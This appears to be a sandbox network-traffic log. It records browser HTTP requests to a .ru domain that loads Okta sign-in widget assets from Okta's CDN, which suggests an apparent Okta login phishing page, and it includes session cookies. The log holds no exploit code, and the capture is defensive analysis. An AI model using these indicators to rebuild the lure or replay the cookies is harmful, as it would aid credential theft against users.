Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250320%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250320T075706Z&X-Amz-Expires=300&X-Amz-Signature=8bd858060b3934a4d316ad6181e89c4d5db866dffbd169926782b92ce73d00f4&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveOrigin: https://8rgz.mdrvgqsm.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveOrigin: https://8rgz.mdrvgqsm.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56hyAd6qn1ojHUvPiwLRrhpIghU51JOppu89105 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klP7S1wY5NitM2rcgQGVtRInDfDneqrcaqdJpXpLfMtb8WNZRYTwchrUZtnOyz230 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnjm6QpuiErQx7zC0OBDMbASZEnklbbBSnYfMePnUzuNcnHoQbiRZXUGebpGH4yuv218 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnjm6QpuiErQx7zC0OBDMbASZEnklbbBSnYfMePnUzuNcnHoQbiRZXUGebpGH4yuv218 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klP7S1wY5NitM2rcgQGVtRInDfDneqrcaqdJpXpLfMtb8WNZRYTwchrUZtnOyz230 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /gkvAf6jmnBREz5yxvfgE6wSog3vYueIzzibi3xWIysUvIqpAiXk63xF05 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv6dQaecGK5byoKRd6YLzth3K2nstcKMWf5b0Wb3JsRU12125 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op6Mrs1renkJ35aO41HAghcddbJoa55lWN11kJbRL0p045131 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv6dQaecGK5byoKRd6YLzth3K2nstcKMWf5b0Wb3JsRU12125 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnWWLDoCvTuJ44YEia1IuvMedjsDXwWtKcXBKxZktSxIt90150 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; 